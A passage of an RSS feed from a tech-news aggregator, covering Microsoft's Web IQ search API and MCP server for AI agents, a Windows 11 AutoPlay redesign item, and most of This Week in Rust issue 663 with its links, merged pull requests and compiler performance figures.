<p class="wp-block-paragraph">To meet those economic demands, the Web IQ platform doesn’t deliver whole documents to querying agents. Whole documents can lead to expensive inference further down the chain, as LLMs process results repeatedly to drive the agent workflow. Instead, Web IQ structures the information retrieved from the underlying search engine data, delivering what Microsoft calls “structured evidence objects” as well as passage-level information from unstructured text documents. This should result in a much higher signal-to-noise ratio than simply querying a search engine, with a focus on delivering information that lets agents work using fewer tokens.</p>



<h2 class="wp-block-heading">Using Web IQ in your agent code</h2>



<p class="wp-block-paragraph"><a href="https://webiq.microsoft.ai/documentation/api-reference/web/">The API for Web IQ</a> is a standard REST cal<a href="https://webiq.microsoft.ai/documentation/api-reference/web/">l</a>, delivering a request object to the Web IQ endpoint. Along with your API authorization key, you will send a query, a set of parameters that control the number of results returned, the language and region used, and the maximum size of the responses and the format used. Responses can be returned in text, HTML, or markdown formats, as well as extracted passages that are selected for context. All other options return the full document, so can be more expensive to use. Markdown is an interesting alternative, as it can be used as the basis for giving agents semantic memories.</p>



<p class="wp-block-paragraph">Results include important contextual and citation information, including web page titles and URLs, as well as data about when the site was last crawled and how stale the underlying information is. This can be used to improve grounding and provide more information that can be included in formatted responses — much in the same way as Bing’s Copilot displays context in the form of footnotes in its responses.</p>



<p class="wp-block-paragraph">Responses to <a href="https://webiq.microsoft.ai/documentation/api-reference/videos/" data-type="link" data-id="https://webiq.microsoft.ai/documentation/api-reference/videos/">video searches</a> include text descriptions. If these aren’t provided as part of the original web content, they will be generated by an LLM. The same approach is used for <a href="https://webiq.microsoft.ai/documentation/api-reference/images/" data-type="link" data-id="https://webiq.microsoft.ai/documentation/api-reference/images/">image searches</a>, with both offering the same contextual cues as the web search API. If you don’t care about the type of data being returned, you can choose a “<a href="https://webiq.microsoft.ai/documentation/api-reference/classic/" data-type="link" data-id="https://webiq.microsoft.ai/documentation/api-reference/classic/">classic search</a>,” which will return text, images, video, and news.</p>



<h2 class="wp-block-heading">Supporting autonomous agents</h2>



<p class="wp-block-paragraph">Microsoft provides LLM-ready documentation for the Web IQ service, with an <code>llms.txt</code> file and an OpenAPI description. These allow AI tools to discover Web IQ capabilities and include them in workflows as part of autonomous operations, so that agents and other AI applications can implement grounding calls to Web IQ whenever user interactions require them. The API <a href="https://webiq.microsoft.ai/documentation/error-handling/">descriptions include errors</a> as well as the structure of a standard 200 response.</p>



<p class="wp-block-paragraph">As Web IQ is designed for use by modern agent frameworks, the Web IQ API is available through an MCP server. The <a href="https://webiq.microsoft.ai/documentation/mcp/" data-type="link" data-id="https://webiq.microsoft.ai/documentation/mcp/">Web IQ MCP server</a> exposes tools that map to API calls: web, videos, news, and images. They also include a browse option, which lets you pull content from a target URL. The service can be configured with a standard JSON file and requires an API key to control access and manage billing. If your account doesn’t have access to a specific tool, then it won’t be available from inside the MCP server.</p>



<p class="wp-block-paragraph">If you’re building an agent and you want to evaluate the Web IQ MCP server, it can be added to common coding agents, such as the GitHub Copilot CLI. You can then test it out using familiar tools and generate code that can be dropped into applications via your choice of development tooling. Queries sent to the Web IQ MCP server use the same syntax as REST calls, without having to construct the calls yourself. Working with the MCP server allows you to connect Web IQ to your choice of agent framework, relying on its built-in MCP methods to reduce the code and maintenance overhead.</p>



<p class="wp-block-paragraph">Web IQ is not for human interactions; Microsoft provides an alternative “<a href="https://learn.microsoft.com/en-us/azure/foundry-classic/agents/how-to/tools-classic/bing-grounding?view=azure-python-preview&amp;tabs=python&amp;pivots=overview">Grounding with Bing</a>” service for chatbots. Instead, Web IQ is a tool for agents, providing necessary background information that helps keep results fresh and relevant. It’s easy to use, fast, and, above all, cheap, which makes it an ideal tool for modern inference platforms built around Microsoft Azure’s AI tooling.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft is burying Windows 11’s legacy UI one by one, and AutoPlay is next for WinUI 3]]></title>
<description><![CDATA[AutoPlay has looked the same since Windows XP in 2001, a plain white Win32 dialog that doesn't inherit system dark mode. Microsoft confirms it's being rebuilt from scratch on WinUI 3, part of a broader push extending the framework into Widgets, Run, and File and Folder Properties dialogs.
The pos...]]></description>
<link>https://tsecurity.de/de/3707824/windows-tipps/microsoft-is-burying-windows-11s-legacy-ui-one-by-one-and-autoplay-is-next-for-winui-3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707824/windows-tipps/microsoft-is-burying-windows-11s-legacy-ui-one-by-one-and-autoplay-is-next-for-winui-3/</guid>
<pubDate>Thu, 06 Aug 2026 13:08:15 +0200</pubDate>
<content:encoded><![CDATA[<p>AutoPlay has looked the same since Windows XP in 2001, a plain white Win32 dialog that doesn't inherit system dark mode. Microsoft confirms it's being rebuilt from scratch on WinUI 3, part of a broader push extending the framework into Widgets, Run, and File and Folder Properties dialogs.</p>
<p>The post <a rel="nofollow" href="https://www.windowslatest.com/2026/08/06/microsoft-is-burying-windows-11s-legacy-ui-one-by-one-and-autoplay-is-next-for-winui-3/">Microsoft is burying Windows 11’s legacy UI one by one, and AutoPlay is next for WinUI 3</a> appeared first on <a rel="nofollow" href="https://www.windowslatest.com/">Windows Latest</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 663]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3707816/tools/this-week-in-rust-this-week-in-rust-663/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707816/tools/this-week-in-rust-this-week-in-rust-663/</guid>
<pubDate>Thu, 06 Aug 2026 13:08:02 +0200</pubDate>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/08/04/enabling-polonius-alpha-on-nightly/">Enabling the next iteration of the borrow checker on nightly</a></li>
<li><a href="https://blog.rust-lang.org/inside-rust/2026/08/04/funding-team-progress-update-july-2026/">Funding team progress update</a></li>
<li><a href="https://blog.rust-lang.org/inside-rust/2026/08/05/rust-langrust-is-adopting-an-llm-policy/">rust-lang/rust is adopting an LLM policy</a></li>
<li><a href="https://blog.rust-lang.org/inside-rust/2026/07/31/all-hands-2026-retrospective/">All Hands 2026 retrospective</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-77">The Embedded Rustacean Issue #77</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://kevat.app/">Kevat 0.4.0 — fast, resumable copy and move to external drives, now with a GUI on all three platforms</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.13.0">kache 0.13.0: keying the env vars proc-macros read</a></li>
<li><a href="https://kunobi.ninja/blog/kobe-101-leasing-kubernetes-clusters">kobe 101: lease a Kubernetes cluster, don't create one</a></li>
<li><a href="https://www.falkordb.com/blog/rewriting-falkordb-in-rust/">Rewriting FalkorDB in Rust: Make It Work, Make It Stable</a></li>
<li><a href="https://webrtc.rs/blog/2026/07/31/announcing-webrtc-v0.20.0.html">Announcing <code>webrtc</code> v0.20.0: Async-Friendly, Runtime-Agnostic WebRTC on Sans-I/O Core <code>rtc</code></a></li>
<li><a href="https://micheletti.io/proxelar-050/">Proxelar 0.5.0: sessions, rules, and more ways to capture traffic</a></li>
<li><a href="https://github.com/jchultarsky/mirador/releases/tag/v1.0.0">mirador 1.0.0: a personal terminal dashboard</a></li>
<li><a href="https://github.com/GCWing/BitFun/releases/tag/v0.2.15">BitFun 0.2.15: an open-source desktop AI agent built on a Rust runtime</a></li>
<li><a href="https://dev.to/sicklefire/mvis-v050-new-release-5997">mvis v0.5.0: CI/CD Profiling &amp; Allocation Histograms</a></li>
<li><a href="https://github.com/kmolan/multicalc-rust/releases/tag/v0.9.0">multicalc 0.9.0: scientific computation for embedded and robotics systems</a></li>
<li><a href="https://poltertype.com/blog/wrong-layout-typing-on-wayland/">Auto-correcting wrong-layout typing on Wayland is nearly impossible. We did it anyway</a></li>
<li><a href="https://github.com/fabperso/wimux/releases/tag/v0.1.0">wimux 0.1.0: a native Windows terminal multiplexer</a></li>
<li><a href="https://github.com/arian-shamaei/anthropometer/tree/main/docs/autopsy">amtr: a btop-style context-window monitor for Claude Code sessions, and the forensic autopsy of its own 153-hour build</a></li>
<li><a href="https://github.com/timescale/rsigma/releases/tag/v0.20.0">RSigma v0.20.0 release</a></li>
<li><a href="https://mostafa.dev/the-state-of-rsigma-7ba0a99020d9">The State of RSigma</a>, and <a href="https://mostafa.dev/the-state-of-rsigma-part-two-the-loop-c114f379dd78">Part Two: The Loop</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://kerkour.com/firecracker-sandboxing-rust">How Firecracker microVMs work under the hood to sandbox untrusted code and AI agents</a></li>
<li><a href="https://pythonspeed.com/articles/faster-float-math-rust/">Faster floating point math with Rust’s new API</a></li>
<li><a href="https://blog.st.com/rust-mems-drivers/">Rust MEMS drivers: 3 reasons to try and adopt our new sensor driver</a></li>
<li><a href="https://alex.draftist.io/blog/the-bedrock-of-software-design-ycqvcedsj">The Bedrock of Software Design | Alex Fedoseev</a></li>
<li><a href="https://lordgoati.us/blog/tail-call/">Tail-Call Interpreters in Rust</a></li>
<li><a href="https://nnethercote.github.io/2026/07/31/how-to-speed-up-the-rust-compiler-in-july-2026.html">How to speed up the Rust compiler in July 2026</a></li>
<li><a href="https://kobzol.github.io/rust/2026/08/03/stf-june-july-2026.html">Sovereign Tech Fellowship for Rust maintenance (June-July 2026 report)</a></li>
<li><a href="https://jmmv.dev/2026/07/hello-getoptsargs.html">An old-new take on argument parsing in Rust</a></li>
<li><a href="https://dmitrii.app/stateless-servers-stateful-payloads-sessions-vs-continuations-measured-in-rust/">Stateless Servers, Stateful Payloads: Sessions vs Continuations, Measured in Rust</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=2937MGszrak">Rust in the age of Generative AI with Niko, Allen &amp; Zeeshan</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e09-jetbrains/">Rust in Production S06 E09: JetBrains with Orhun Parmaksız</a></li>
<li><a href="https://c410-f3r.github.io/thoughts/work-stealing-vs-executor-per-thread-evaluating-different-http-server-workloads-with-tokio-smol-and-glommio/">Work-Stealing vs. Executor-Per-Thread: Evaluating different HTTP server workloads with Tokio, Smol and Glommio</a></li>
<li><a href="https://github.com/Aefinity-AI/alice-aegis/blob/main/docs/posts/2026-08-05_uefi-soft-float-deletes-your-avx2.md">Your <code>#[target_feature(enable = "avx2")]</code> does nothing on <code>x86_64-unknown-uefi</code></a></li>
<li><a href="https://dev.to/fabperso/three-bugs-my-ai-agents-couldnt-fix-13bn">Three bugs my AI agents couldn't fix</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://blog.implrust.com/posts/2026/08/blinky-with-stm32f103c8t6-embedded-rust/">Blinking an LED on STM32 Blue Pill (STM32F103C8T6) with Embedded Rust</a></li>
<li><a href="https://www.greyblake.com/blog/branchless-rust/">Branchless Rust: Making a Filter 4x Faster by Removing an <code>if</code></a></li>
<li><a href="https://oxi-dd65f4.gitlab.io/articles/word-pagination-gdi-rounding.html">Why modern font metrics cannot reproduce Word pagination</a></li>
<li><a href="https://github.com/JuanMarchetto/hooklog/blob/main/ARTICLE.md">Building hooklog on a six-day-old framework</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://crates.io/crates/index_type">index_type</a>, a crate for providing strongly typed indices for collections.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1638">Roee Shoshani</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>


<ul>
<li><a href="https://github.com/luohoa97/cordial/issues/6">Cordial - Unify the two implementations of the profile lock</a></li>
<li><a href="https://github.com/luohoa97/cordial/issues/7">Cordial - Fullscreen clips and letterboxes until the workspace is switched away and back</a></li>
<li><a href="https://github.com/lenra-io/dofigen/issues/481">Dofigen - Extend Dockerfiles</a></li>
</ul>


<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>630 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-28..2026-08-04">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/160193">improve CFG traversal</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/160245">perf: avoid a heap allocation per basic block in MoveData's location maps</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159525">stabilize passing 128-bit integers via vector registers with <code>asm!</code> on x86</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159130">a bit optimize four-digit chunks in integer formatting</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/160143">add NEON support for <code>is_ascii</code> and <code>eq_ignore_ascii_case</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159671">add semver check test command for checking API compatibility of stdlib</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/106643">allow only implementing <code>Read::read_buf</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159592">core: implement bounded random sampling</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/160139">iter: specialize <code>Take::count</code> using <code>advance_by</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/160342">iter: specialize <code>advance_by</code> method of <code>Fuse</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/160079">make atomic operations const</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158548">move <code>std::io::copy</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize <code>size_of_val_raw, align_of_val_raw, Layout::for_value_raw</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17300">add a suggestion when adding <code>[lints]</code> to a workspace to use <code>[workspace.lints]</code> instead</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17301">avoid parsing unchanged lockfiles</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17284">completions: complete paths for cargo run arguments</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17208">fix <code>manual_readme</code> lint for lower-priority README files</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17289">git: make checkout names independent of git config</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17293">make <code>__CARGO_TEST_FORCE_ARGFILE</code> available in distributed builds</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17269">pass rustdoc flags to final CCI merge step</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17268">prevent panic when <code>package.build</code> is empty</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17272">reworked how we enable the new build-dir layout on nightly</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17302">trim-paths: unambiguous and reversible remap rules</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/157058">label badge for notable traits</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/160032">rustdoc-json: make <code>Stability</code> compatible with non-self-describing serde formats</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/160232">fix ICE when a grapheme cluster joins a Prepend-class character to <code>_</code> or <code>:</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/160208">fix crash when trying to list attributes on an opaque type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159854">only analyze head of self type when deciding impl inlining</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustfmt">Rustfmt</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/154202">format <code>cfg_select!</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17468"><code>manual_div_ceil</code>: avoid suggestions that change evaluation count</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17473">fix <code>no_effect_underscore_binding</code> false positive on proc-macro generated code</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16773">add check for image with embedded link to <code>doc_paragraphs_missing_punctuation</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16972">lint for UFCS call in <code>clone_on_copy</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17024">trigger <code>float_cmp_const</code> for <code>assert_eq!</code> with const floats</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/23014">allow <code>self</code> as the last segment of a path</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22977">correctly handle unlinked module edge cases</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22959">support <code>CovariantUnsafeCell</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/21846">add <code>-Zjson-target-spec</code> on cargo calls where needed</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/23003">add reference for same name param coerce matches</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/23017">allow diverging rhs in destructuring assignments</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22938">avoid panic when checking <code>Copy</code> for hrtb closure arguments</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22996">detect the rust-analyzer component in a multi-line components array</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22965">do not alloc anon consts for bare paths in blocks</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22992">don't panic on a self-referential <code>impl Trait</code> function</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22956">double stack size for threads to 16MiB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/23015">exclude unknown types from term search</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22933">fix lookup <code>MACRO_CALL@...</code> in this Semantics due to include!</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/23008">fix <code>ExprScopes</code> handling of exprs inside patterns</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22886">fix glob import shadowing bug</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22948">make mir debug execution work fot bitflags items</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22943">mark auto traits as coinductive</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22957">no hint with similar name raw-ident arg</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/23004">parse postfix range inside closure in access</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22993">recognize format arguments after a backslash in raw strings</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/23016">resolve assignment lhs in its expression scope</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22964">show qualified paths when type names collide in E0308</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22947">hir-ty, ide-diagnostics: use E0057/E0061 for arg-count mismatch (was E0107)</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22966">perf: avoid having a separate query for defined opaques</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/23001">perf: save an allocation in lifetime handling</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22937">report a config error for postfix snippets with item scope</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22940"><code>vfs</code>: use component-based path prefix matching for virtual paths</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>A lot of optimizations landed this week. Some big improvements to rustdoc in <a href="https://github.com/rust-lang/rust/pull/159854">#159854</a>, one big improvement in control flow graph traversal for <code>cranelift-codegen</code>, few more improvements to next-solver benchmarks and various other micro-optimizations, bringing the total to a nice round number of 10 improvements this week.</p>
<p>Triage done by <strong>@panstromek</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=ad0c9dce27a22416b65946bc0010edaf22ac6c83&amp;end=65dd30fb9e882a7e8f0be10caca62936db2a98b8&amp;absolute=false&amp;stat=instructions%3Au">ad0c9dce..65dd30fb</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.3%</td>
<td>[0.2%, 0.5%]</td>
<td>18</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>2.1%</td>
<td>[0.1%, 16.8%]</td>
<td>64</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-3.3%</td>
<td>[-39.8%, -0.2%]</td>
<td>97</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-6.1%</td>
<td>[-39.6%, -0.1%]</td>
<td>111</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-2.7%</td>
<td>[-39.8%, 0.5%]</td>
<td>115</td>
</tr>
</tbody>
</table>
<p>1 Regression, 5 Improvements, 11 Mixed; 6 of them in rollups
32 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/c41ca2a96f74761503b333d9f416eb7012eef858/triage/2026/2026-08-03.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/117693">Tracking Issue for <code>core_io_borrowed_buf</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/154645">Tracking Issue for <code>derive_macro_global_path</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159746">stabilize <code>c_variadic_naked_functions</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1021">Implement a naming convention for lint/diagnostic-only <code>rustc_</code> attrs</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1018">Encode OpenBSD <code>-current</code> version in targets' <code>target_env</code></a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1001">Promote <code>wasm32-wasip3</code> to Tier 2</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>,<a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em>
Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><em>No New or Updated RFCs were created this week.</em></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-08-05 - 2026-09-02 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
